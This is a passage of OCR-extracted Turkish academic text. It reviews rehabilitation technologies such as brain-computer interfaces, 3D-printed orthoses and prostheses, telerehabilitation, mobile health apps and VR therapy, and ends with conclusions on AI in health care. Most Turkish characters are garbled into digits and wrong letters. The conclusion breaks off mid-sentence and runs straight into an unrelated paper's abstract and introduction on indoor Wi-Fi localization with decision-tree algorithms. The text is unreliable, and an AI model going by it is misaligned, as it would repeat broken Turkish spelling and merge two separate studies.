2019). Ornegin, iist ekstremite hareketiyle iliskili elektriksel beyin sinyalleri, kafa derisi elektroensefalografisi (EEG),
kafatasi veya deri altina yerlestirilen yar1 invaziv elektrokortikografik (ECoG) diziler veya intrakortikal implante edilmis
mikroelektrot dizileri (MEA) araciliiyla invaziv olmayan bir gekilde tespit edilebilmektedir (Ajiboye et al., 2017; Branco
et al., 2017; Miiller-Putz et al., 2017; Soekadar et al., 2016; Thomas et al., 2019).

Klasik olarak EEG tabanli motor BCI sistemleri, hareket durumlari (agik-kapali, yanal kavrama) arasinda gegis yapmak
veya bir hareket sirasindaki adimlar arasinda geg¢is yapmak i¢in bir anahtar olarak kullanilan EEG sinyalleri ile kavrama
ortezini kontrol etmek i¢in kullanilmistir. Hibrit EEG-BCI sistemleri, 6rnegin eklem konum sensorleri veya binokiiler goz
izleme cihazlar1 gibi diger biyolojik sinyalleri dahil ederek ¢ok eklemli cihazlar1 kontrol etme 6zelligi gostermistir (Kreilinger
et al., 2013; Onose et al., 2012).

Yeni ¢aligmalarda ise beyin bilgisayar arayiizleri fonksiyonel elektrik stimiilasyonu (FES) ile eslestirilerek hareketlerin
istemli kontrolii saglanabilir. FES klinik olarak kaslar1 giiclendirmek, spastisiteyi azaltmak, felcin iyilesmesine yardim etmek
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gibi amaclarla kullanilmaktadir. BCI ile birlestirildiginde FES uyarilar1 kullanict kontroliine gecer; bu da 6grenme
mekanizmalarini giiclendirebilir. Hareket olugturucu mekanizma olarak FES her hasta i¢in uygun degildir (Friedenberg et
al., 2018; Pool et al., 2016). Ornegin, alt motor néron hastali1 veya periferik sinir hasari tarafindan denervasyona (Bir organ
veya olusuma ait sinirin kesilmesi) ugrayan kas, tipik olarak FES’e yanit veremez. Ek olarak, duyusal hiperestezisi olan bazi
kisiler, kas kasilmasina neden olan yogunluktaki elektriksel uyariy1 tolere edemeyebilir. Bu durumlarda, etkilenen uzvun
hareketi dis iskeletler veya robotlar araciligiyla daha iyi saglanabilir. Hedeflenen terapétik etkinin, 6rnegin agr1 durumlarini
hafifletmek veya duyusal bagimli plastisiteyi devreye sokmak i¢in, etkilenen uzuv hareket ettirmenin 6znel deneyimi oldugu,
amputasyon veya somatosensasyon kaybi1 durumlarinda, sanal gerceklik (VR) daha iyi son efektor olabilir (Bockbrader et
al., 2018).

Yeni teknikler ile rehabilitasyon ve BCI iliskisi gelistirilmektedir. Bu kapsamda Robot destekli motor goriintii (MI) ve
beyin-bilgisayar arayiizii (BCI) sistemi, inme sonrasi rehabilitasyonda motor fonksiyon iyilesmesini hizlandirmak i¢in
gelismis yeni bir teknik olarak kullanilmaktadir. Motor goriinti, fiziksel uygulama olmaksizin hareketlerin hayal edilmesini
saglamakta ve elektroensefalografi tabanli beyin-bilgisayar arayiizleri (EEG-BCI’ler) beyin sinyallerini kullanarak ¢evre
ile etkilesime olanak tanimaktadir. Beyin-bilgisayar arayiizii destekli motor goriintii (MI-BCI) sistemi, robot destekli MI
ve BCT'yi birlestirerek, felgli hastalarin robotik bir kol tarafindan yonlendirilen engelli uzuvlari, kolun motor goriintiisiinden
gelen noral sinyaller yoluyla hareket ettirmesini saglar ve ¢oklu duyusal geri bildirim saglamaktadir (Ang & Guan, 2015;
Foong et al., 2020; Hu et al., 2021; Wang et al., 2019).

Kalp pilleri, koklear implantlar, elektroensefalogramlar (EEG’ler) ve elektromiyogramlar (EMG) gibi geleneksel biyoelektronik
teknolojiler 50 yil1 askin bir siiredir kliniklerde yer alirken, noropsikiyatrik tedavilerin, elektrosétiklerin ve kapali dongii
sistemlerinin gelisimi sadece son on yilda kliniklerde yer almaktadir (Portillo-Lara et al., 2021). Bu ilerlemeler, AB insan
Beyin Projesi, ABD BRAIN girisimi, NIH SPARC girigimi gibi hiikiimet girisimleri ile Neurolink ve Galvani Bioelectronics
gibi yeni ticari girisimler de dahil olmak tizere diinya ¢apinda biiyiik fonlar tarafindan desteklenmektedir (Mathieson et al.,
2021; Society, 2019). Bu durum; epilepsi, depresyon, bagisiklik kosullari, titreme bozukluklari, korliik ve omurilik
yaralanmalarini kapsayan bir dizi durumun tedavisi i¢in onaylanmis, tibbi olarak diizenlenmis biyoelektronik terapilere yol
acmistir. Bununla birlikte, bu teknolojilerin, saglikli insanlara yerlestirildiginde gelismis bilis, gece goriisii ve diger geligmis
alg1 gibi olaganiistii yetenekler elde etmek igin kullanilabilecegi de 6ne siiriilmektedir (Antonio Regalado, 2021; Green,
2021).

Beyin bilgisayar arayiizleri 6zellikle felgli bireylerin hayata entegrasyonunu kolaylastiran, kisisel bazi ihtiyaglarin karsilanmasini

saglayan ve gelecekte daha da gelismesi muhtemel 6nemli bir teknolojidir.
5.3. Ortez ve Protez Teknolojileri

Ortez veya protez cihazlar gibi yardimci teknolojiler yiizyillardir varligini siirdiirmektedir. Ortez cihazlar1 sadece
immobilizasyon, destek, diizeltme veya koruma saglamak i¢in degil, ayni zamanda kas-iskelet sistemi yaralanmalar1 veya
islev bozukluklarini tedavi etmek i¢in de yaygin olarak kullanilmaktadir (Muriel et al., 2020). 1970’11 yillarda, renkli kauguk
esasli plastik film uygulanarak daha g¢ekici bir gériiniime sahip ortez cihazlarin talebi nedeniyle plastik kaplama gibi yeni
teknikler gelistirilmistir. 1980’lerin baginda, popiiler olarak 3D baski teknolojileri olarak bilinen katmanli {iretim teknolojilerinin
kesfinde kullanilan fotopolimer rec¢inenin ultraviyole lazerle ince tabakalar halinde kiirlenmesine dayanan stereolitografi
teknigi tanitilmistir. Bu gelisme ilerleyen yillarda; 3D modeller, birikim modelleme (FDM), lamine nesne iiretimi (LOM),
secici lazer sinterleme (SLS), 3D bask1 ve degisken hizli prototipleme (Polyjet Teknolojisi) gibi diger katmanli tiretim
teknolojilerinin iiretilmesine sebep olmustur (Bacek et al., 2017; Hausdorff, 2005; Lou et al., 2005; Tonet et al., 2008).

Katmanli tiretim teknolojileri, isleme siireci olmadan dogrudan ii¢ boyutlu bir modelden tamamen islevsel pargalar tireten
hizli prototipleme teknikleri (RPT) alanina dahil edilmistir. Son yillarda RPT nin katlanarak biiyiimesi nedeniyle ortez
cihazlarinin iiretiminde birtakim degisiklikler meydana gelmistir (Jiang et al., 2017). Biyomedikal miihendisligi baglaminda,
hastanin anatomik 6zelliklerine uygun sekilde adapte olabilen kisisellestirilmis cihazlara duyulan ihtiya¢ nedeniyle alanda
hizl1 bir ilerleyis yasanmistir (Singh & Ramakrishna, 2017; Thompson et al., 2016). Bu durum 3D yazicilar yardimiyla
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kisisellestirilmis tip kapsaminda hastaya 6zel ortezler iiretilmesini saglamigtir (Singh & Ramakrishna, 2017; Thompson et
al., 2016).

Son yillarda, fiziksel tip ve rehabilitasyon alani, fiziksel engelli bireylerin hareketliligini, islevini ve yasam kalitesini
iyilestirmek i¢in tasarlanmis giyilebilir robotik cihazlarin ¢ogalmasi i¢in birgcok ¢alisma gerceklestirmistir. Bu giyilebilir
robotlar, ampiitasyonlu bireyler i¢in gii¢lendirilmis protez kol ve bacaklar1 (Hasson et al., 2008) ayrica parezi, fel¢ ve diger
bozukluklari olan bireyler i¢in giiclendirilmis dis iskeletleri ve ortezleri igermektedir. Her bir yardime1 veya rehabilite edici
robot sinifinin say1siz prototipi olmasina karsin, bu tiir cihazlar heniiz laboratuvar disinda yaygin olarak kullanilmamaktadir.
Giyilebilir teknolojilerin laboratuvardan klinige ve dis diinyaya ¢evrilmesi, bu cihazlar1 kullanmanin artan maliyeti ile
kullanimlarindaki zorluklarin yani sira yeterli dayaniklilik diizeyine erisememis olmalari, sinirlt iglevsellik ve zay1f kontrol
dahil olmak iizere ¢esitli faktorlerle sinirlidir (Novak & Riener, 2015).

Telesepsiyon, uzaktan veya algilanan nesne ile fiziksel temas kurulmadan gerceklesen algilama olarak tanimlanabilir
(Nowakowski, 2017). Baz1 hayvanlar ¢evreleri ve nesnelerle iletisim kurabilmek i¢in bu telesepsiyon yontemlerini
kullanmaktadirlar. Ornegin bir yarasa bu duyularini kullanarak yoniinii bulurken elektrikli balik diismanlarini bu duyular:
sayesinde algilayabilmektedir. Insanlarin da tipk1 hayvanlar gibi tatma, dokunma ve benzeri duyularina ek olarak gérme,
isitme ve koku da dahil olmak iizere birgok teleseptif duyusu vardir. Bu kapsamda yapilacak veya yapilmis giyilebilir ortez-
protez cihazlar1 bu teleseptif duyular1 6rnek alarak ¢alisabilir. Etkili kontrol sistemlerinin hem yakin hem de teleseptif

sensorleri igermesi ortamin durumunu ve nesnenin hareketinin dogrulugunu arttirmis olacaktir (Krausz & Hargrove, 2019).

Protezlerin ve dis iskeletlerin kontroliine teleseptif algilamanin eklenmesi (Sekil 4’de) robotik ve yardimci teknoloji arasindaki
boslugu kapatabilir ve kullanicilarin cihazlariyla nasil etkilesime girdigini ve kontrolii bir robotla en iyi sekilde nasil
paylasabileceklerini kesfetmeye olanak taniyabilir. Bu nedenle, yardime1 ve rehabilitasyon cihazlarindaki telesepsiyon
eksikligini gidermek icin yapilan caligsmalar artmistir (Krausz & Hargrove, 2019).

/(a) Proximate Sensing\ ﬁ)) Teleceptive Sensir@

A

Sekil 4. Teleseptif Sensor Uygulamasi

Kaynak: (Krausz & Hargrove, 2019)

Sekil 4’de (a) Yakin Algilama veya (b) Teleseptif Algilama kullanan Giyilebilir Yardimci Cihazlar. Her algilama tiiri icin,
bu sensdr tipini kullanan bir alt ekstremite ortezinin (altta) ve bir iist ekstremite protezinin (iistte) ¢izimi gosterilmektedir. Yakin
algilama, Elektromiyogram (EMG) sensorleri, yiik hiicreleri, motorlardaki kodlayicilar veya potansiyometreler veya IMU’lar
(¢coklu sensor kart1) gibi bireyin veya yardimcei cihazin davranigini dogrudan dlgen herhangi bir sensorii icermektedir. Teleseptif

algilama, RGB kamera (Red (kirmizi) , Green (yesil), Blue (mavi) renklerinden olugmus, bir renk sistemidir), Kizil6tesi (IR)
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sensor, Ultrasonik sensor veya Radar gibi kullanici disindaki seylerin ortamini veya davranisini dolayli olarak 6lgen herhangi
bir sensorii icermektedir (Krausz & Hargrove, 2019).

Avusturya’da yapilan bir ¢alismada (Sekil 5) pratiklik ve performans arasindaki iliskiyi géz onlinde bulundurarak bazi
gereksinimleri ele almiglardir. Bu gereksinimlerden kasit, parmak tasarimlarinda membranla ¢evrili biikiilme baglantilarini
iceren yumusak malzemelerin monolitik 3D baskisindan yararlanilarak elde edilmesidir. Onerilen el protezinde sinerji tabanli
basparmak hareketi ve kablo tahrikli ¢aligtirma sistemidir. X-Limb adi verilen bu iiriin giinliikk yasam aktiviteleri i¢in gereken
kavrama gorevini yerine getirme kapasitesini degerlendirmek icin Ust Ekstremite Amputelerinde standart bir Aktivite
Olgiimii kiyaslama testi yapilmistir. Sonuglar, tiim pratik tasarim gereksinimlerinin karsilandigin1 gdstermistir (Mohammadi
et al., 2020).

Sekil 5. Cok Eklemli Yeteneklere Sahip Pratik Bir 3D Baskili Yumusak Robotik Protez El
Kaynak: (Mohammadi et al., 2020)

Ortez ve protez teknolojisindeki gelismeler yapay zeka ile birlestirildiginde ortaya kisinin dokusuna ayak uydurabilen, kisinin
fizyolojik yapisina uygun protezlerin ¢ikmasini saglayacaktir. Amerikan filmlerine konu olan biyonik insanlarin aslinda
pek de uzak bir gelecekte olmadiklari, biyonik el ve ayaklarin giinlimiizde de iiretilebildigi bilinmektedir. Bu kapsamda
saglik bilimleri agisindan ortez ve protez ihtiyaci duyan hastanin kaliteli bir hayat siirmesi, sosyal hayata adaptasyonu ve
0z giiven agisindan bu teknolojilerin kullanim1 oldukg¢a degerlidir.

5.4. Telerehabilitasyon Teknolojileri

Telesaglik, uzun mesafeli klinik saglik hizmetlerini, hasta ve profesyonel saglikla ilgili egitimi, halk saglig1 ve saglik
yonetimini desteklemek icin elektronik bilgi ve telekomiinikasyon teknolojilerinin kullanilmasidir (Dorsey & Topol, 2016).
Telefonlar, akilli telefonlar ve mobil kablosuz cihazlar dahil olmak tizere ¢esitli telekomiinikasyon araglari araciligiyla video
baglantisi olsun veya olmasin saglik hizmetlerinin uzaktan saglanmasi olarak tanimlanabilir. Telerehabilitasyon (TR) nispeten

yeni ve gelisen bir telesaglik alanidir. TR, rehabilitasyon hizmetlerini sunmak ve desteklemek i¢in telekomiinikasyon
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teknolojisinin kullanilmasidir ve iki yonlii veya ¢ok yonlii etkilesimli telekomiinikasyon teknolojisi araciligtyla danismanlik,
onleyici, teshis ve tedavi hizmetlerinin klinik uygulamasidir. (Dorsey & Topol, 2016; Peretti et al., 2017). Bu hizmetler,
degerlendirme, izleme, miidahale, denetim, egitim, danisma ve danismanligi icerir ancak bunlarla sinirlt degildir. TR
hizmetlerinin iki ana bileseni vardir bunlar: rehabilitasyon hizmeti (klinik uygulama) ve telekomiinikasyon/bilgi teknolojisidir.

Bu sayede, hastalarla uzaktan etkilesim kurmak, muayene etmek, teshis koymak ve tedavi etmek miimkiin olmaktadir
(Sarsak, 2020).

Geleneksel rehabilitasyon merkezi miidahaleleriyle karsilastirildiginda, ulasimin iistesinden gelmek de dahil olmak iizere,
telerehabilitasyonun cesitli avantajlar1 vardir. Dezavantaj olarak ise takip seansi planlamasinin optimize edilmesinin ve
hastalarin ortaminin degerlendirilmesinin zor oldugu diisiiniilmektedir. Engelliler arasinda yapilan telerehabilitasyon hakkinda
sistematik bir incelemede, miidahalelerin %71’inin basarili oldugunu ortaya konmustur (Hailey et al., 2011), bdylece uzaktan
¢evrimici saglik miidahalesinin uygulanmasina yonelik kanita dayali uygulama 6nerileri desteklenmistir (Lorenzini &
Wittich, 2019). Bu kapsamda gelistirilen ev tabanli rehabilitasyon sistemleri, makine 6grenmesi algoritmasi ile donanmis
akilli saat ve akilli telefon uygulamalari ile kisiye evinin rahathiginda gerekli egzersizleri yapma, kayitlari tutma ve hekim
takibini miimkiin kilmaktadir (Chae et al., 2020).

Klasik rehabilitasyon seanslar1 hastalar agisindan ¢ogu zaman can sikici olarak degerlendirilir ve ilgi gosterilmez. Bu
durumda telerchabilitasyon sistemleri hastayi tesvik edici olabilmektedir. Bu anlamda, birkag ¢alismada “Sanal Gergeklik™
(VR) ile oyun tabanli telerehabilitasyonun eglenceli ve ilgi ¢ekici olarak algilandigini béylece rehabilitasyonun yogun siireci
de dahil olmak iizere tedavi siireglerinin daha verimli gegebilecegi sonucuna varilmistir (Cikajlo et al., 2011; Lewis et al.,
2011; Rizzo & Kim, 2005). Telerehabilitasyon programlarinin bir diger avantaji da saglik profesyonellerinin hastalardan
toplanan verilere internet ve mobil cihazlar araciligiyla kolayca erisebilmesidir (Bidargaddi & Sarela, 2008; Fan et al., 2014;
Hamida et al., 2015). Telerchabilitasyon seanslar1 sirasinda sensdrler araciligiyla toplanan veriler, daha etkili saglik miidahaleleri
saglamak i¢in islenebilir (Benharref & Serhani, 2014; Rolim et al., 2010). Son olarak, telerchabilitasyon, hem fizyoterapistler
hem de hastalar agisindan saglik hizmetlerine ulagim siiresi de hesaba katildiginda oldukga tasarruflu bir yontem olarak
degerlendirilmektedir (Koh et al., 2017).

Bu kapsamda calismalar incelendiginde, telerehabilitasyon sistemlerinde yapay zekanin kullanimi ile beraber hastalar ev
konforunda tedavilerine devam ederken, saglik kurulugu da mekan tasarrufu saglayarak daha fazla hastaya hizmet edebilme
imkanina sahip olabilmektedir.

5.5. Mobil Uygulama Temelli Teknolojiler

Rehabilitasyonda mobil uygulamalarin kullanimi kisilerin telefon, tablet ve bilgisayar gibi mobil cihazlari yaninda tagimalari
ve bireylerin kendi yasam kosullarinda veri toplama yoluyla veri tabani olusturabilme 6zelligi sayesinde biiylik 6nem
kazanmaktadir. Bu durum hasta takip ve degerlendirmesinde kullanim kolaylig1 saglamaktadir. Bireylerin postiir degerlendirmesi
eklem hareket agiklig1 6l¢iimi, fiziksel aktivite takip ve egitimi, egzersiz, aktivite yapmasini saglayan uygulamalar
bulunmaktadir (Tarakgi, 2021). Ayrica Saglik bilimleri alaninda simiilasyon uygulamalari, teknolojinin de gelismesiyle
birlikte kaliteli bir egitim anlayisinin vazgecilmez bir pargast haline gelmistir. Fizyoterapi ve rehabilitasyon lisans egitiminde
en sik kullanilan simiilasyon yontemleri; anatomik modeller, gérev egiticiler, oyunlastirma ve standart hastalardir. Ulkemizde
fizyoterapistlik meslegi lisans egitiminde simiilasyon yontemlerinin kullanilmasi tavsiye edilmektedir (Kinikli et al., 2017).

Son yillarda yapilan birtakim arastirmalar, kronik felgli bireylerin iist ekstremite hareketliligini iyilestirmek i¢in evde mobil
rehabilitasyon uygulamalari kullanip kullanamayacaklarini incelemeyi amaglamistir. Bu kapsamda mobil uygulamalar, 3D
baskili ev egyalariyla birlestirilmis bir akilli telefondan olusan: kupa, kase, anahtar ve kap1 kolu olusturulmustur. Akill
telefon 6zel uygulamasi, gorev odakli etkinliklere rehberlik ederek hem bir etkinligi tamamlanma siiresini hem de hareket
kalitesini (piirtizsiizlik/dogruluk) 6lgmektedir. Bu uygulamalar sayesinde, iist ekstremite hareketliliginde iyilesmeler
oldugu, akilli telefon tabanli tasinabilir teknolojinin, felg gibi kronik durumlarda ev rehabilitasyon programlarini
destekleyebilecegi diisiiniilmektedir (Langan et al., 2020).

Boyun agrisi olan ofis ¢alisanlar1 i¢in gomiilii kendi kendini siniflandirma algoritmasi ile yeni gelistirilen akilli telefon
tabanli bir egzersiz programinin agr1 yogunlugu, fonksiyonel sakatlik, yagam kalitesi, korkudan kaginma ve servikal
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iizerindeki etkisini inceleyen ¢alismalar mevcuttur. Bu kapsamda gomiilii bir kendi kendini siniflandirma algoritmasina
sahip akilli telefon tabanli egzersiz programi, boyun agrisi olan ofis ¢aliganlarinin zihinsel ve duygusal durumlarini etkilemek
i¢in yeterli olmasa da agr1 yogunlugunu ve algilanan fiziksel sagligini iyilestirdigini ortaya koymustur (Bulut, 2019; Lee et
al., 2016). Baska bir ¢alismada ise Tinnitus tedavisi igin ses terapisi saglayan bir akilli telefon uygulamast gelistirilmek
hedeflenmistir. Bu kapsamda iOS ve Android platformlarinda kullanilabilen, 8 haftalik tinnitusa 6zel kisisellestirilmis ve
frekans uyumlu ses terapisi saglayan interaktif bir akill1 telefon uygulamasi hayata gecirilmistir. Uygulama ile kulak
¢inlamasi tedavisi i¢in akilli telefon tabanli bir bilissel davranisei terapi ve ses terapi platformunun potansiyel olarak umut
verici bigcimde etkin oldugu goriilmiistiir boylece bu tedavi yonteminin gelecekte randomize kontrollii ¢aligmalar tegvik
edecegi diisliniilmektedir (Abouzari et al., 2021).

5.6. Sanal Gerc¢eklik Temelli Uygulamalar/ Video Bazli Oyun Terapi Sistemleri

Ortopedik rehabilitasyon, bir travma veya ameliyattan sonra bozulmus islevi diizeltmek i¢in biiylik nem tasimaktadir. Basarili
bir terapi, fiziksel iglevi iyilestirmek i¢in eklem mobilizasyonunu ile kas gii¢clendirmesini iyilestirmek i¢in uygun kombinasyon
ve egzersizlerin ilerlemesini gerektirir (Khor et al., 2016). Rehabilitasyon programi ameliyattan hemen sonra hastane
ortaminda baslar ve daha sonra 6zel/ev ortaminda devam eder (Eriksson et al., 2011). Mevcut rehabilitasyon yontemleri hem
denetimli hem de denetimsiz egzersizleri igerir, ancak teknolojideki gelismeler bu alanda yeni ufuklar agmaktadir. Sanal
gerceklik (VR), artirilmis gergeklik (AR), video bazli oyunlastirma ortopedik hastalarin rehabilitasyonu igin énemli
kaynaklardir (Berton et al., 2020). Sanal ger¢eklik tedavisi, alisilagelmis egzersizlerden farkli olarak, sanal ortam igerisinde
gerceklesen yeni bir rehabilitasyon yontemidir. Bu yontem giiniimiizde iist ekstremite kullanimi rehabilitasyonu, alt ekstremite
egitimi ve ylirlime egitimi alanlarinda kullanilmaktadir. Sanal gergeklik, uyarici ve eglenceli ortamlar olusturarak, kisilerin
ilgi ve motivasyonlarini kullanarak, gérev bazli tekniklerle ¢alisma imkani sunan bir yontemdir (Holden, 2005).

VR ve AR, kullanicilarin zihninde ger¢eklik algisint etkileyerek farkli bir ortamda olduklari konusunda onlar1 ikna etme
yoluyla aldatmay1 amaglamaktadir (Negrillo-Céardenas et al., 2020). VR’de hasta sanal bir ortamla etkilesime girer ve gergek
hayatin aktivitesini simiile eder. Bu teknolojinin riski, yaralanmalara neden olabilecek gergek tehlikeleri tanimanin imkansiz
olmasidir. AR’de sanal ve gergek gerceklik ortiisiir ve hasta potansiyel tehlikelerin farkindadir (Chan et al., 2019). Oyunlastirma
kavrami, katilimi motive etmek i¢in “oyun dis1 bir baglamda oyun tasarim 6gelerinin” uygulanmasina dayanmaktadir (Allam
etal., 2015). Video bazli oyun terapilerinin ¢esitli engellilik alanlarinda (6rnegin, idiyopatik skolyoz ve inme rehabilitasyonu)
faydali etkileri oldugu bilinmektedir (Negrillo-Cérdenas et al., 2020).

Gergekten de VR’a dayali deneysel yaklasimlar, hastada gergekgi algilar ve tepkiler ortaya ¢ikarabilen gergek gibi ii¢ boyutlu
(3B) ortamlar yaratma olasilig1 da dahil olmak iizere terapiste (deneysel ortamlardaki aragtirmacinin yant sira gozlemciye)
birgok avantaj sunmaktadir. Ancak, hastalarin rehabilitasyonu neden gergek bir ortam yerine sanal bir ortamda gergeklestirmesi
gerektigi noktasinda farkli goriislere sahip olsalar da ¢alismalar, hastalarin biligsel ve motor yonlerinin rehabilitasyonunda
VR kullaniminin faydali oldugunu gostermektedir (Knight et al., 2002; Laver et al., 2012).

Inme rehabilitasyonu; tekrarlayan, yogun, amaca yonelik tedavi gerektirmektedir. Sanal gerceklik (VR) bu gereksinimleri
karsilama potansiyeline sahiptir. Oyun temelli terapi, hastalarin rehabilitasyon terapisine katilimini daha ilging ve motive
edici bir arag olarak tesvik edebilir bir sistemdir. Akilli telefonlar ve tablet PC’ler gibi mobil cihazlar, hastalar ve klinisyenler
arasinda etkilesimli iletisim ile kisisellestirilmis ev tabanli terapi saglayabilir (Lohse et al., 2014).

Bu teknolojiler, hastalarin hastanede kalis siirelerini ve maliyetlerini azaltmakta ve ayn1 anda tedavi edilebilecek hasta
sayisin1 artirmaktadir (Doiron-Cadrin et al., 2016). Bu rehabilite edici modlarin bir bagka olumlu yoni, hasta ile saglik
hizmeti saglayicisi arasinda tedaviye uyumu artiran dogrudan ve siirekli etkilesimdir (Kuether et al., 2019). Calismalar,
uzaktan sanal rehabilitasyonun hastanin motivasyonunu iyilestirdigini ve tedaviye uyumu gelistirdigini gdstermistir (Then
et al., 2020).

6. SONUC VE ONERILER

Ulke ekonomileri agisindan saglik hizmetleri insan hayatin1 merkezine aldig1 igin oldukga 6nemlidir. Teknoloji ve bilimde

yasanan olumlu gelismeler, diger sektorlerde oldugu gibi (sanayi, hizmet, egitim ve tiretim) saglik sektoriinii de hayal edilenin
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Otesine tasimaktadir. Bu kapsamda yapay zeka olarak adlandirilan sistemler, saglikta akilli ¢6ziimleri ortaya ¢ikarmistir.
Saglik hizmetlerinde yapay zeka uygulamalari tiim alt dallarda kullanilmaktadir (Akalin & Veranyurt, 2020). Yapay zeka
sagligin birgok alaninda kullanildig1 gibi rehabilitasyonun ¢ogu alaninda tani, tedavi ve siniflandirma asamalarinda da
kullanilmaktadir (Russell & Norvig, 2010). Ozellikle de insan-bilgisayar etkilesiminin oldugu her yerde kullanilmasi
miimkiindiir (Nicolas & Gil, 2012).

Rehabilitasyonda yapay zeka, simbiyotik ndroprotezler ile miyoelektrik kontrol, beyin bilgisayar arayiiz teknolojisi, perioperatif
tip ve daha bir¢ok alanda kullanilmaktadir (Anderson, 2019; Pokorny et al., 2013; Sanchez et al., 2009; van Dokkum et al.,
2015). Ozellikle hasta veri 6lgiimii ve klinik karar verme destegi gibi durumlarin makine grenmesi yontemleriyle giindelik
yasamda kullanilabilir olmas1 ¢ok degerlidir. Yapay zeka destekli sistemler, klinik degerlendirme alanlarindan; denge,
yiriime, giinliik yasam aktiviteleri ile alt ve iist ekstremite becerileri gibi olgularin etkilerini arttirabilmek amaciyla
gelistirilmektedir. Bu kapsamda, hastaya ait ¢iktilar degerlendirilerek rehabilitasyon uygulamalarinin gelisim diizeyi, klinik
ilerleme tahmini ve devamlilik takibi miimkiin olmaktadir (Kdose, 2018).

Rehabilitasyon hizmetlerinde yapay zeka temelli akilli teknolojilerin kullanilmasi saglik hizmetleri yonetimi bakis agisiyla
incelendiginde birgok fayda saglamaktadir. Ornegin; bireyin seviyesine ve yeteneklerine uygun dizayn edilebilen giyilebilir
teknolojilerin olmasi iiretim maliyetlerinin diismesini saglayabilir. Diger taraftan, terapist ve hasta igin tedavinin zaman,
yogunluk, zorluk, hiz gibi parametrelerinin esnek olarak yapilandirilmasinin saglanmasi, giivenilir ve gegerli kullanici
algilama donanimi ile objektif veri saglamasi, es zamanli geribildirim saglanmasi, gergcek yasam simiilasyonu ile aktivite
egitim kolaylig1 sunmasi ve rehabilitasyonun siirecinde hasta ve terapistin olasi tiilkenmisligini azaltmasi agisindan oldukga
yararhdir (Tarakei, 2021).

Bir saglik hizmeti kurumunun en 6nemli kalemi ekonomi olarak diistiniilmektedir. Bu kapsamda rehabilitasyon hizmetlerinde
yapay zeka kullanim1 ekonomik acidan hem hastaya hem de hizmet saglayici kuruma yarar saglamaktadir. Ayrica rehabilitasyon
hizmetleri i¢in kullanim alanlarinin yetersiz kalma durumu olabilmektedir. Telerehabilitasyon hizmetleri ile evde takip ve
gerekli egzersiz programlarinin planlanabilmesi mekandan tasarrufu saglamaktadir. Bununla beraber tiim diinyanin miicadele
icinde oldugu Covid-19 pandemisi dolayisiyla saglik kurumlarina gitme noktasinda ¢ekinceler vardir. Bu noktada uzaktan
rehabilitasyon hizmetlerinin mobil olarak verilmesi, planlanmasi, kontrol ve degerlendirmesi hastanin giivenli bir sekilde
tedavisine devam etmesini saglar. Ortez ve protez iiretiminde 3D yazicilarin kullanilmast kigisellestirilmis saglik hizmetini
One ¢ikararak hastanin fiziksel 6zelliklerine yonelik liretimin ger¢eklesmesini saglamaktadir. Yapay zeka kullanimi ile hasta
verileri depolamak miimkiin olacak bu sayede klinik karar verme siireci hizlanacaktir. Makine 6grenimi ile beraber benzer
rahatsizliklar belki de ¢ok dnceden tahmin edilebilir olacak bu sayede hem zaman hem de ekonomi agisindan tasarruf
saglanacaktir. Sanal gergeklik ve oyunlastirarak tedavi yontemleri ile hasta sikici rutin egzersizleri eglenerek yapabilmektedir.
Bu durum, hizmet veren kurumun pahali cihazlar kullanmasinin 6niine gecerek parasal ve mekansal tasarruf imkani
tantyacaktir.

Arastirma kapsaminda rehabilitasyon hizmetlerine birgok fayda sagladig1 degerlendirilen yapay zeka uygulamalarinin daha
cok desteklenmesi, bu alanda yapilacak projelerin devlet tarafindan daha fazla fonlanmasi gerektigi diisiiniilmektedir. insan
hayatina dokunarak, bireyleri rehabilite eden fizik tedavi uzmanlar1 yapay zekanin rehabilitasyonda kullanilmasiyla beraber
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0z

I¢ mekanda kullanic1 ve cihazlari yerellestirmek genis bir uygulama alanina sahiptir. Akilli ev sistemleri, sinrlt
bolgelerdeki suglular: bulma, bir erisim noktasindaki kullanici sayisini belirlemek i¢in kullanilabilir. Bu
¢alismanin amaci kablosuz sinyal giiciine dayal1 olarak i¢ mekanda kullanicilarin konumunu belirlemektir.
Bunun yani sira tasarlanacak izleme cihazlarinda kullanilabilecek en iyi karar agaci siniflandirma algoritmasini
saptamaktir. Bu amagla ¢alismada 12 farkli algoritma kullanilmis ve performans analizi yapilarak algoritmalarin
performanslar1 karsilastirilmistir. Performans analiz yontemi olarak 10 kat ¢capraz dogrulama kullanilmistir.
Performans degerlendirmesi yapilirken algoritmalarin hem ¢aprazdogrulama yapilmadan onceki siniflandirma
performanst hemde ¢apraz dogrulama sonrasi yapilan siniflandirma performanslari karsilastirilmisir. Calismada
Dengeli bir veri seti kullanildig1 i¢in Performans analizinde dengeli veri setlerinin siniflandirilmasinda kullanilan
prformans metrikleri tercih edilmistir. Performans analizinde dogruluk, karisiklik matrisi, kesinlik, duyarlilik,
F-skoru, Kappa istatistigi, Kok ortalama hata degeri ve ROC degeri kullanilmistir. Analiz sonucunda Analizden
sonra. eniyi performansi Random Forest Rasgele orman algoritmasinin elde ettigi gdzlemlenmistir. Algoritmanin
capraz dogrulama 6ncesi ve sonrasinda hesaplanan tiim metric degerleri diger algoritmalardan daha yiiksektir.

Anahtar Kelimeler: i¢ mekan, Karar agaglar1, Kablosuz sinyal giicii, Konumlandirma, Performans analizi

ABSTRACT

Localizing users and devices indoors has a wide range of applications. Smart home systems can be used to locate
criminals in restricted areas and determine the number of users at an access point. The aim of this study is to
determine the location of users indoors using wireless signal strength as well as the best decision tree classification
algorithm that can be used in monitoring devices that will be designed. For this purpose, the study uses 12
different algorithms and compares their performances by conducting a performance analysis. The study uses 10-
fold cross validation as the performance analysis method. While evaluating the performance, the algorithms’
classification performance were compared before and after the cross-validation. Due to the study using a balanced
dataset, the performance metrics used for classifying balanced datasets have bene preferred in the performance
analysis. As a result of the analysis, the random forest algorithm was observed to have achieved the best
performance. All metric values calculated before and after the cross-validation of the random forest algorithm
were higher than those for the other algorithms.

Keywords: Indoor, Decision Trees, Wi-Fi, Localization, Performance analysis
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1. GIRIS

Konumlandirma teknolojileri i¢ ve dig mekan konumlandirma sistemleri olarak iki gruba ayrilabilir. D1g mekan konumlandirmada
(Dardari, Closas, ve Djuri¢, 2015), yaygin olarak kullanilan navigasyon sistemleri, metre diizeyinde dogrulukla konum
hizmetleri saglayabilir. i¢ mekanlarda engellerden kaynaklanan uydu sinyal kayiplari, cok yollu etki ve tutarsiz zaman
gecikmesi sorunlar1 nedeniyle uydu tabanli konumlandirma sistemleri dogru sonuglar vermez. Ayrica bir i¢ mekan konum
hizmetinin gereksinimlerini karsilayamaz (J. Shi, 2013). Uydu tabanli konumlandirma sistemlerinin i¢ mekan konum
